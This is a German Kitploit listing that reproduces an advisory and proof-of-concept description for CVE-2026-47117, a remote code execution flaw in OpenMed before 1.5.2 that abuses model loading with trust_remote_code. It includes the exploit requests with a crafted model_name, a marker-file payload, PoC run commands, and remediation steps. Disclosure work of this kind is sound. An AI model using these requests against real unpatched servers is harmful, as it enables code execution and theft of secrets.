Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-47117-openmed-rce — OpenMed < 1.5.2 RCE ohne Authentifizierung über das Laden des PII-Datenschutzfilter-Modells und trust_remote_code=True | Kitploit
Tools/GitHubGitHub/saiteja-erukude/cve-2026-47117-openmed-rce
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsKI-Sicherheit
GitHubsaiteja-erukude/cve-2026-47117-openmed-rce

CVE-2026-47117-openmed-rce

OpenMed < 1.5.2 RCE ohne Authentifizierung über das Laden des PII-Datenschutzfilter-Modells und trust_remote_code=True

Repository anzeigen
17vor 11 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-47117: OpenMed nicht authentifizierte Remote-Code-Ausführung über das Laden von PII-Modellen

Schweregrad: Kritisch, CVSS 4.0 9.3, CVSS 3.1 9.8 (vergeben von VulnCheck, der CNA)

Vektor (v4.0): CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Vektor (v3.1): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Betroffen: OpenMed < 1.5.2

Behoben in: 1.5.2

CWE: CWE-94 (Improper Control of Generation of Code, Code Injection)

Entdeckt und gemeldet von: Sai Teja Erukude

Veröffentlicht: 2. Juni 2026


Zusammenfassung

OpenMed vor 1.5.2 enthält eine nicht authentifizierte Remote-Code-Ausführungsschwachstelle im Ladepfad des PII-Privacy-Filter-Modells.

Die REST-API-Endpunkte POST /pii/extract und POST /pii/deidentify akzeptieren einen model_name-Wert aus dem Request-Body. In anfälligen Versionen verwendete der Privacy-Filter-Dispatcher eine breite Teilstring-Übereinstimmung auf diesem vom Angreifer kontrollierten Wert. Ein Modellname wie attacker/foo-privacy-filter-bar konnte daher in das Privacy-Filter-Backend geleitet werden.

Bei Nicht-MLX/Torch-Bereitstellungen lud dieses Backend Hugging-Face-Modellartefakte über Transformers mit trust_remote_code=True. Wenn das vom Angreifer kontrollierte Modell-Repository benutzerdefinierten Transformers-Code enthielt, auf den über auto_map in config.json oder tokenizer_config.json verwiesen wurde, importierte und führte Transformers diesen Python-Code während des Ladens des Modells oder Tokenizers aus.

Der importierte Code wurde mit den Rechten des OpenMed-Dienstprozesses ausgeführt.

Auswirkung

Ein nicht authentifizierter Remote-Angreifer, der die OpenMed-REST-API erreichen kann, kann beliebigen Python-Code auf dem Server ausführen, indem er eine bösartige Modellkennung im Hugging-Face-Stil in model_name angibt.

Je nach Bereitstellung des Dienstes kann dies Folgendes ermöglichen:

  • Lesen oder Ändern von Dateien, auf die der OpenMed-Prozess zugreifen kann.
  • Zugriff auf Umgebungsvariablen und Anwendungsgeheimnisse.
  • Aufrufen interner Dienste, die vom OpenMed-Host aus erreichbar sind.
  • Stören oder Ersetzen des Anwendungsverhaltens.

Betroffene Endpunkte

Das Problem ist über beide PII-Endpunkte erreichbar, da beide model_name akzeptieren und denselben PII-Extraktions-/Modellladepfad verwenden:

POST /pii/extract
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}
POST /pii/deidentify
Content-Type: application/json

{
  "text": "John Doe called 555-1212",
  "model_name": "attacker/foo-privacy-filter-bar",
  "confidence_threshold": 0.0
}

Technische Details

Der verwundbare Kontrollfluss weist zwei Vertrauensgrenzen-Verletzungen auf:

  1. Die API vertraute einem vom Benutzer bereitgestellten model_name bei der Auswahl des Privacy-Filter-Backends.
  2. Das ausgewählte Backend vertraute dem Code des entfernten Modell-Repositorys, indem Transformers-Artefakte mit trust_remote_code=True geladen wurden.

Der Dispatcher behandelte jede Modellkennung, die privacy-filter enthielt, als Teil der Privacy-Filter-Familie. Dies ermöglichte vom Angreifer kontrollierte Kennungen, zum Beispiel attacker/foo-privacy-filter-bar, einen Codepfad zu erreichen, der für vertrauenswürdige First-Party-Privacy-Filter-Modelle vorgesehen war.

Sobald dorthin geleitet, konnte Transformers vom Angreifer kontrollierten benutzerdefinierten Code über auto_map laden. Dieser Import erfolgt während des Ladens von Modell/Tokenizer, bevor eine nützliche Inferenz erfolgreich sein muss. Eine Proof-Nutzlast kann daher so klein sein wie:

from pathlib import Path

Path("marker.txt").write_text(
    "custom Transformers code executed via trust_remote_code\n",
    encoding="utf-8",
)

Proof of Concept

poc_exploit.py erstellt ein harmloses lokales Modellverzeichnis im Hugging-Face-Stil, dessen Name privacy-filter enthält. Die generierten benutzerdefinierten Transformers-Module schreiben beim Import eine Markerdatei. Das Skript sendet anschließend eine Anfrage an eine Testinstanz der OpenMed-API mit diesem Verzeichnis als model_name.

Das erwartete Verhalten bei anfälligen OpenMed-Versionen ist:

  1. Die API akzeptiert den vom Angreifer kontrollierten model_name.
  2. Das Substring-Routing leitet ihn an das privacy-filter-Backend weiter.
  3. Transformers importiert das generierte benutzerdefinierte Modul, weil trust_remote_code=True gesetzt ist.
  4. Die Markerdatei wird erstellt, was die Codeausführung im OpenMed-Dienstprozess belegt.
  5. Die Anfrage kann anschließend fehlschlagen, weil das Spielzeugmodell kein echtes Privacy-Filter-Modell ist; der Marker zum Importzeitpunkt ist der relevante Nachweis.

Nur gegen eine lokale Testinstanz ausführen:

pip install -r requirements.txt
python poc_exploit.py --target http://127.0.0.1:8000 --endpoint /pii/extract

Wenn der OpenMed-Dienst an einem Ort läuft, der nicht auf das generierte lokale Verzeichnis zugreifen kann, veröffentlichen Sie ein äquivalentes Testmodell in einem kontrollierten Hugging Face-Repository und übergeben Sie diesen Bezeichner explizit:

python poc_exploit.py \
  --target http://127.0.0.1:8000 \
  --model-name your-org/foo-privacy-filter-bar \
  --marker marker.txt

Behebung

Aktualisieren Sie auf OpenMed 1.5.2 oder höher.

OpenMed 1.5.2 trennt Routing von Vertrauen:

  • Beliebige Repository-Namen, die privacy-filter enthalten, werden nicht mehr über den vertrauenswürdigen privacy-filter-Pfad geleitet.
  • PrivacyFilterTorchPipeline setzt trust_remote_code standardmäßig auf False.
  • Nur explizite First-Party-Privacy-Filter-Repositories stehen auf der Allowlist für das vertrauenswürdige Laden von Remote-Code.
  • Betreiber, die kontrollierte private Fine-Tunes benötigen, können diese mit OPENMED_TRUSTED_REMOTE_CODE_MODELS auf die Allowlist setzen.

Falls ein sofortiges Upgrade nicht möglich ist:

  • Setzen Sie die verwundbare REST-API nicht nicht vertrauenswürdigen Clients aus.
  • Übergeben Sie keine benutzergesteuerten model_name-Werte an Transformers mit trust_remote_code=True.
  • Ersetzen Sie das auf Teilstrings basierende Modell-Routing durch exakte vertrauenswürdige Modellbezeichner.
  • Laden Sie in der Produktion genehmigte lokale Modellartefakte vor und deaktivieren Sie beliebige Modell-Downloads.

Offenlegungszeitplan

DatumEreignis
18. Mai 2026Schwachstelle bei VulnCheck eingereicht
20. Mai 2026VulnCheck initiierte die koordinierte Offenlegungskontaktaufnahme
22. Mai 2026CVE-2026-47117 vorläufig zugewiesen
1. Juni 2026OpenMed 1.5.2-Fix überprüft und bestätigt
2. Juni 2026CVE-2026-47117 veröffentlicht

Danksagung

Entdeckt und gemeldet von Sai Teja Erukude.

Die Offenlegung wurde über VulnCheck koordiniert.

Referenzen

  • CVE-Eintrag: https://www.cve.org/CVERecord?id=CVE-2026-47117
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-47117
  • VulnCheck-Advisory: https://www.vulncheck.com/advisories/openmed-remote-code-execution-via-pii-model-loading
  • OpenMed 1.5.2 Versionshinweise: https://github.com/maziyarpanahi/openmed/releases/tag/v1.5.2
  • OpenMed-Projekt: https://github.com/maziyarpanahi/openmed
Tool herunterladen